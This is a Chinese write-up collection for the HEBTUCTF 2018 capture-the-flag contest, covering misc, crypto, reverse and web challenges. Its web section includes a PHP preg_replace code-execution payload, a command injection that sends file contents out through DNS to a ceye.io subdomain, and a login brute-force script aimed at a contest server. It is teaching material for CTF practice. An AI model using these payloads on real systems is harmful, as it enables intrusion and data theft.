0x1 写在前面
这是集合了各位出题人写的WP和部分获奖人员优秀WP而成的WriteUP(〃'▽'〃)
0x2 安全杂项(MISC)
这到底是个啥文件呢?
winhex发现是个jpg文件,但其实应该看最后,文件最后隐藏着flag
flag:HEBTUCTF{lkfdlfnqwnoidasfmaklmf}
你可能需要一个wireshark
打开流量包
然后题目描述中可以看出来上传了一个文件那么找上传
可以看见上传了 flag.txt文件
然后还经过了加密
可知是base64加密 直接解得flag内容为HEBTUCTF{f1ag_1s_w3n_d4o}
路由器密码你了解吗
通过百度 了解 zip爆破工具 以及 路由器系统文件密码查看器得到flag内容为flag{Y0ung_m4n_u_are_s0_coo1!}
句末大佬的lsb
这个题目旨在考验lsb隐写,社工到句末姓chen
https://github.com/cyberinc/cloacked-pixel
直接作为密钥进行解压就好,
命令:
python lsb.py extract jumo.png 1.txt chen
flag内容为HEBTUCTF{wuinoknadsflmladflnef}
ZIP中的小秘密
首先拿到是一个Zip加密包 根据提示 BruteForce 直接暴力破解
然后解压出文件 发现是两个压缩包
直接尝试解压发现都有密码 我猜提示的暴力破解会误导人(希望不要打我 那里只是为了给第一步提示,不然用winrar加密7z加密的包ziperello不能爆破鸭)
PartFlag&hint.zip使用的是伪加密
改了标志位为偶数然后解压 就能看到部分的flag和一段pk开始的乱码
到了这里再看一下flag.zip中的文件
奇怪的结构 因为一般 504b0102 或者504b0304都是统一放在一个位置的 但是这个文件顶部是单独的放了0304 和0102猜测上面是一个修改过的pk文件 但是少了504b0506的结尾 除非自己写脚本来算 但是之前看到了一个奇怪的hint 应该就是这里的尾部
再用010editor把flag.zip中的添加部分去掉 和之前提示的尾部信息拼接在一起
最后一步呢就是一直明文攻击了 仔细一点查看就能发现修复后的flag.zip和提取出来的hint.zip有相同的文件并且CRC相同
选择好文件进行攻击
解压得到flag.txt
加上前面得到的部分flag,全部flag内容为HEBTUCTF{Z1p_so_Comp1ex}
MM?
音频隐写题,用备用链接下载超级快,反观原链接就很。。。(这里出题人解释下(T▽T),原链接是因为平台使用的框架问题导致了大文件下载问题,后来补充的备用链接其实是阿里云OSS链接,OSS是氪了金的(T ^ T) )用audacity打开,根据人声消音原理,分离立体声轨后反向(这里其实也有点非预期,预期解应该是找到原曲然后直接消掉全部的背景音)
打开MMSTV,播放音乐。直接上原来做的时候的图吧。(ps:插入耳机收声更好)
得到flag。flag内容为HEBTUCTF{xiaolan_is_very_cute}
这个USB包竟然如此的奇怪呢
根据提示,这是一个USB流量分析题,用wireshark打开看看
用自带工具把数据拎出来tshark -r udn.pcapng -T fields -e usb.capdata > usbdata.txt
得到像这样的数据
由于USB流量分为键盘流量和鼠标流量,而键盘数据包的数据长度为八个字节,鼠标数据包的数据长度为四个字节。 键盘数据包击键信息集中在第三个字节,每次key stroke都会产生一个keyboard event usb packet
其实一般的数据可以用脚本跑一跑,但是这题有坑,脚本不容易分析到shift键打印出来的特殊字符,建议去网上查一下USB协议对照手动结合脚本分析
在分析到想打爆出题人的脑袋后你将获得HEBTUCTF{USB_task_1s_s0_e@sy!_rsjtsfrxcgbh}
919191919191
0为空格,1为tab,二进制转字符,base91解码,flag内容为HEBTU{Whitespace}
0x3 密码学(Crypto)
Simple Caesar!
把给的字符串放到在线解密凯撒密码网址里,列出所有组合。
最后一个就是flag,flag内容为HEBTUCTF{s1mple_caes4r_s0_simp1e}
easy_crypto
首先摩斯密码解密
然后对后面的字符进行替换,L换成A,J换成B
最后进行培根解密
得到 FLAGISYOUARESOGREAT
flag内容为HEBTUCTF{YOUARESOGREAT}
社会主义接班人
直接google社会主义解密
https://sym233.github.io/core-values-encoder/
直接解密
flag内容为HEBTUCTF{ejvovdasfjfvmrfmsdemxj}
lazy_cipher
根据提示,可以判断为字母替换类型题目。EUL分别对应THI,这样前面的部分就变成了
THIS IS 一般后面会跟 A ,所以I 对应A
此时替换后,最后会出现OCAQ IS ,可以猜到是 FLAG IS
这时替换后就变成 THIS IS A XLASSIXAL SHNEHNXH
在猜测THH最后的H对应E,则又变为THIS IS A XLASSIXAL SENTENCE,这样X 就为 C
后面的一句话,是典型单表替换的一句话:The quick brown fox jumps over the lazy dog
由下面的脚本就可以破解出flag
# -*- coding: utf-8 -*
text = "EULS LS I XCISSLXIC SHNEHNXH: EUH VWLXF YDAKN OAR MWBJS AZHD EUH CIPT GAQ! OLQUE, ING TAW BIT GLH. DWN, ING TAW’CC CLZH IE CHISE I KULCH. ING GTLNQ LN TAWD YHGS BINT THIDS ODAB NAK. KAWCG TAW YH KLCCLNQ EA EDIGH? ICC EUH GITS ODAB EULS GIT EA EUIE, OAD ANH XUINXH, MWSE ANH XUINXH, EA XABH YIXF UHDH ING EHCC AWD HNHBLHS EUIE EUHT BIT EIFH AWD CLZHS, YWE EUHT’CC NHZHD EIFH AWD OCIQ!OCIQ LS UHYEWXEO KLONZGSOOGTWYJIBHBS."
newtext = ""
switch = { 'E':'T',
'U':'H',
'L':'I',
'S':'S',
'I':'A',
'C':'L',
'O':'F',
'C':'L',
'Q':'G',
'H':'E',
'X':'C',
'V':'Q',
'W':'U',
'F':'K',
'Y':'B',
'D':'R',
'A':'O',
'K':'W',
'R':'X',
'M':'J',
'B':'M',
'J':'P',
'Z':'V',
'P':'Z',
'T':'Y',
'G':'D'
}
for char in text:
if char in switch:
char = switch[char]
newtext += char
print(newtext)
flag内容为HEBTUCTF{WIFNVDSFFDYUBPAMEMS}
Sudoku&Viginere
flag内容为HEBTUCTF{15_1t_3a5y}
easy_RSA
factordb.com分解N,然后放到虚拟机跑RSA解密脚本,即可得到答案。
flag内容为HEBTUCTF{RSA_IS_SO_EASY!!!}
hill
y g c 17 17 5
24 6 2 * 21 18 21 = 538 520 284
2 2 19
(538,520,284) mod 26 = (18,0,24)=(s,a,y)
flag内容为HEBTUCTF{say}
0x4 逆向工程(Reverse)
fibo
//水题。。。。。答案:5778
#include<stdio.h>
int fibonacci(int n){
if (n ==2){
return 1;
}
if (n == 1){
return 1;
}
return fibonacci(n-1)+ fibonacci(n - 2);
}
int main(){
int x;
scanf("%d",&x);
if (x==fibonacci(20)-fibonacci(16))
printf("Win");
else
printf("Wrong");
return 0;
}
babyBypass
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
//此函数用于计算参数x的奇偶性,利用了XOR的性质
//二进制表示x,如果有奇数个1就返回1,偶数个1就返回0
//稍加难度,把这个函数“内联”了
/*
int calc(int x){
int val = 0;
while (x){
val ^= x;
x >>= 1;
}
return val & 0x1;
}
*/
char buf[81];
//此函数是为了确保输入的64个字符中没有相同的两个,秒解也太丢人了
void judge(char*s){
for (int i = 0; i < 64; i++){
for (int j = 1; j < 64 - i; j++){
if (s[i] == s[i + j]){
printf("You failed\n");
exit(0);
}
}
}
}
int main(int argc, char**argv){
printf("You should input a string,which length is 80\n");
printf("It can't contain the same character twice\n");
scanf("%s", buf);
if(strlen(buf)!=80) {
printf("length must be 80!!!\n");
exit(0);
}
buf[80]='\0';
judge(buf);
char magic[80] = { '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1' };
for (int i = 0; i < 80; i++){
int val = 0;
char temp = buf[i];
while (temp){
val ^= temp;
temp >>= 1;
}
//val & 0x1相当于calc函数的返回值
//magic[0] == '\0',表明必须calc(buf[0])=='\0',也就是必须为“偶”
if ((val & 0x1) != magic[i]){
printf("You failed\n");
exit(0);
}
}
printf("You bypass them successfully\n");
system("cat ./flag");
}
exp:
#include<stdio.h>
#include<stdlib.h>
int calc(int x){
int val = 0;
while (x){
val ^= x;
x >>= 1;
}
return val & 0x1;
}
int main(int argc, char**argv){
char set[] = "1234567890qwertyuiopasdfghjklzxcvbnmQWERTYUIOPASDFGHJKLZXCVBNM!@#$%^&*()_+-={}[]<>,.?";
char magic[80] = { '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1', '\0', '\1', '\1', '\0', '\1', '\0', '\0', '\1', '\0', '\1' };
int calc_1 = 0, calc_0 = 0;
char ji[50]; char ou[50];
int ji_index = 0, ou_index = 0;
for (int i = 0; i < strlen(set); i++){
if (calc(set[i])){ calc_1++; ji[ji_index++] = set[i]; }
else{ calc_0++; ou[ou_index++] = set[i]; }
}
ji[ji_index] = '\0';
ou[ou_index] = '\0';
printf("ji=%d\nou=%d\n", calc_1, calc_0);
printf("ji_set = %s\n", ji);
printf("ou_set = %s\n", ou);
ji_index = 0, ou_index = 0;
for (int i = 0; i < 80; i++){
if (magic[i]){
printf("%c", ji[ji_index++]);
}
else{
printf("%c", ou[ou_index++]);
}
}
//最后输出一串,3125469708qyuwperatsidgohfjklzxvbcnYUmPQAWESRDGTHIKOFZJVBLNXMC@!#$(%_^+&*-){}=<[
}
easyBypass
#include<stdio.h>
#include<stdlib.h>
#include<string.h>
char buf[32]; //= { '\5', 'A', 'A', 'A', '\2', 'A', 'A', 'A', 0x44, 'A', 'A', 'A', 0x70 };
void judge(char*buf){
unsigned int num1 = buf[0];
unsigned int num2 = buf[4];
unsigned int cmp1 = (num1*num1 + num2*num2) * 29;
unsigned int cmp2 = (num1 * 5 + num2 * 2)*(num1 * 5 + num2 * 2);
if (cmp1 > cmp2) {
printf("You failed\n"); exit(0);
}
if ((buf[8] ^ 0x12) != 0x56){
printf("You failed\n"); exit(0);
}
if ((buf[12] ^ buf[8]) != 0x34) {
printf("You failed\n"); exit(0);
}
}
int main(int argc, char**argv){
printf("Give you a hint\n");
printf("Please tell me: the MAX value of { x + sqrt( 5 - x**4) }\n");
printf("I think...You may guess MAX == 3 when x==1\n");
printf("The answer is right\n\n");
printf("******My solution:******\n");
printf("Let y = sqrt( 5 - x**4)\n");
printf("Then, x**4 + y **2 == 5\n");
printf("You know...An>=Gn\n");
printf("Well, 12 == (x**4 + 1 + 1 + 1) + (y**2 + 4) >= 4 * x + 4 * y\n");
printf("The MAX(x+y) is 3 when x == 1\n\n");
printf("In fact playing RE needs Maths\n");
printf("Let's start...\n\n");
unsigned int MAX = -1;
unsigned int len = strlen(buf);
if (len - MAX >= 0)
printf("Input something,and I decide whether to tell you the flag\n");
else { printf("Impossible\n"); exit(0); }
fgets(buf, 32, stdin);
judge(buf);
printf("OK...Here is your flag\n");
system("cat ./flag");
}
一开始给了一大堆printf的数学计算过程
主要是后面buf[0]和buf[4]的关系需要是5:2
(根据柯西不等式)
剩下2次判断就是划水XOR了
应该有人会柯西不等式的吧……也是个很基本的东西
如果长时间没人做出来,就放个hint:“柯西不等式”
题目还是需要在本地放一个flag
Payload可能需要用到pwntools,因为buf[0]和buf[4]的关系需要是5:2,可能两个都是可见字符的情况比较少。
#coding:utf-8
from pwn import *
context.log_level = 'debug'
p = process("./easyBypass")
p.recvuntil("the flag")
payload = chr(5) + 'AAA' + chr(2) + 'AAA' + chr(0x44) + 'AAA' + chr(0x70)
p.sendline(payload)
p.interactive()
divlalallaalal
siena@ubuntu:~/Desktop$ cat foo.c
long long div(long long x) {
return x / 9748736384384+21;
}
可直接二分法找到flag
#include <iostream>
int main() {
char function[] = {"\x48\x89\xf8\x48\xba\x77\x64\x9d\xd6\xe2\xd7\xfb\xe6\x48\xf7\xea\x48\x8d\x04\x3a\x48\xc1\xff\x3f\x48\xc1\xf8\x2b\x48\x83\xc0\x15\xc3"};
// funtion为div函数机器码
long long (*foo_ptr)(long long) = (long long (*)(long long)) function;
long long a = 0;
long long b = 0x7FFFFFFFFFFFFFFF;
long long x=foo_ptr(0);
while (b - a > 1) {
long long mid = a / 2 + b / 2; // more or less; avoiding overflow
if (foo_ptr(mid)-x >= 1) {
b = mid;
}
else {
a = mid;
}
}
std::cout << a << "\n" << b << "\n";
}
直接运行siena@ubuntu:~/Desktop$ g++ exp.cpp -z execstack && ./a.out即可
flag内容为hebutctf{9748736384384}
0x5 网络安全(Web)
qiandao
打开题目链接就直接有flag
hi,欢迎来到河北师范大学信息安全挑战赛
本题,将告诉你如何正确提交答案。
本题的答案为:flag{welcome_to_HEBTU}
请将以上答案提交至参赛平台,即视为答对本题。
qiandao2
打开题随便提交一串字符,发现弹出个框
让提交HEBTUCTF2018
,所以我们现在提交这个会发现前端做了限制,输入的最大长度为10,然而HEBTUCTF2018为12个字符,直接修改前端js,然后提交HEBTUCTF2018
,拿到flag
HEBTUCTF{Qi4n_Da0_cH3n9_g0n9}
2048_easy
打开题目链接是个2048的游戏,我们看一下源码,发现加载了很多js,我们看一下这些js,发现在main2048.js里面发现赢了的话会调用一个gamewin()的函数,gamewin()函数如下
function gamewin()
{゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ
![:frowning:](http://cdn.jsdelivr.net/wp/wp-editormd/tags/6.1.6/assets/Emojify.js/images/basic/frowning.png)゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚][゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((o^_^o) +(o^_^o))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (o^_^o)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (c^_^o)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (o^_^o))+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (o^_^o))+ (o^_^o)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');
}
这个是aaencode加密,我们解密得到两个flag
alert('flag{2O48_1s_fun}');
console.log('HEBTUCTF{Aaenc0de_1s_FuN}');
233333这两个分别是两个题的flag,第一个是这个题的flag,第二个是2048_brain_hole的flag
flag{2O48_1s_fun}
这个题也可以直接在控制台调用gamewin()
函数,然后可以弹出flag{2O48_1s_fun},然后控制台打印HEBTUCTF{Aaenc0de_1s_FuN}
然后,其实这个题还有一种拿到flag的方法,main2048.js里面有如下代码
function isgamewin(){
if(score>10240) {
gamewin();
swal({
title: '恭喜你,成功通关',
text: '2秒后自动关闭',
timer: 2000
})
}
}
我们可以在控制台执行score=10241
也可以拿到flag(只要那个数比10240大就行)
2048_brain_hole
和web3是同一个题,提交第二个flag就可以了23333
简单的命令执行
打开题目链接之后如下
<?php
/*please add HEBTU{} when you found the secret string*/
highlight_file(__FILE__);
error_reporting(0);
echo preg_replace("/123(.+?)123/ies", 'text("\\1")', $_POST['h']);
function text($str){
echo '123';
}
?>;
看到这里我们我们可以知道他考的是 preg_replace /e模式下的代码执行问题,可以参考下面的一个文章
[https://www.jb51.net/article/38714.htm][(https://www.jb51.net/article/38714.htm)]
然后这个题post过去h=123{${phpinfo()}}123可以成功读取phpinfo界面,现在我们命令执行列目录然后读文件拿到flag,好吧,这个题直接列目录出来的就是flag
HEBTU{pr3g_repl@ce_Fun!}
phpisbest
这个题我们要传过去三个参数,首先我们要绕过第一个限制a != b && sha1(a)===sha1(b)
,这里利用sha1()函数的漏洞。把这两个字段构造成数组,如a[]=q&b[]=w
,这样在第一处判断是两数组确实是不同的,但在第二处判断是由于sha1()函数无法处理数组类型,将报错并返回false,if条件成立,绕过第一个限制
if ($a != $b && sha1($a)===sha1($b)) {$good = true;}
现在绕第二个限制。传过去的key先删除反斜杠然后再对JSON格式的字符串进行编码,转换为PHP变量,然后赋给$message
。然后message->key==key
利用php弱类型去绕过。
if ($good && isset($_GET['key'])){
$message = json_decode(stripslashes($_GET['key']));
if ($message->key==$key) {
echo $flag;
}else
die('还差一点就拿到flag了');
}
最后payload如下http://47.94.129.246:2132/phpisbest/?a[]=1&b[]=2&key={"key":0}/
flag内容为HEBTUCTF{PhP_1s_7he_beSt_L4an9uage}
ping
这个题测试几个ip会知道没有回显,emm/m盲打,由于我服务器停了,所以我用的ceye(每个用户,有唯一标识符代码和唯一子域值)做的,来吧,开始命令执行,直接ls会有问题,然后用sed命令逐行处理文件,然后payload如下ip=`ls|sed -n "1p"`.ip.port.标识符.ceye.io
知道flag在flaaaaag.php文件中,然后去cat他(直接cat不行,我们还是用sed命令逐行处理文件),post过去的payload如下ip=`cat flaaaaag.php | sed -n "2p"`.ip.port.标识符.ceye.io
最后拿到flagHEBTUCTF{Bl1Nd_RC3_1s_h4rD}
baopo
打开链接是个后台管理系统,看一下源码里面有个hint:``,那爆破没跑了,不过还有个md5的验证码
# -*- coding: utf-8 -*-
import requests
import re
import hashlib
from bs4 import BeautifulSoup
#header,抓一个包
headers={
'Host':'47.94.129.246:2132',
'User-Agent':'Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:63.0) Gecko/20100101 Firefox/63.0',
'Accept':'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8',
'Accept-Language':'zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2',
'Accept-Encoding':'gzip, deflate',
'Referer':'http://47.94.129.246:2132/baopo/',
'Connection':'keep-alive',
'Cookie':'PHPSESSID=gdrequp9nir7khu8d9ja4e36t5',
'Upgrade-Insecure-Requests':'1'
}
for mima in range(999):
#获取页面验证码
url="http://47.94.129.246:2132/baopo/"
req=requests.get(url=url,headers=headers)
soup=BeautifulSoup(req.text,'html.parser')
yzm=re.findall('[0-9a-f]{5}',soup.text)[0]
#print yzm
#验证码爆破
for yzm_bp in range(100000):
if hashlib.md5(str(yzm_bp)).hexdigest()[0:5]==yzm:
#print yzm_bp
break
url='http://47.94.129.246:2132/baopo/index.php?username=admin&password={0}&randcode={1}'.format(mima,yzm_bp)
request=requests.get(url=url,headers=headers)
request.encoding='utf-8'
#print request.text
#print mima
if "HEBTUCTF" in request.text:
print request.text
break
跑脚本拿到密码flagHEBTUCTF{Bru7e_f0rC3_233}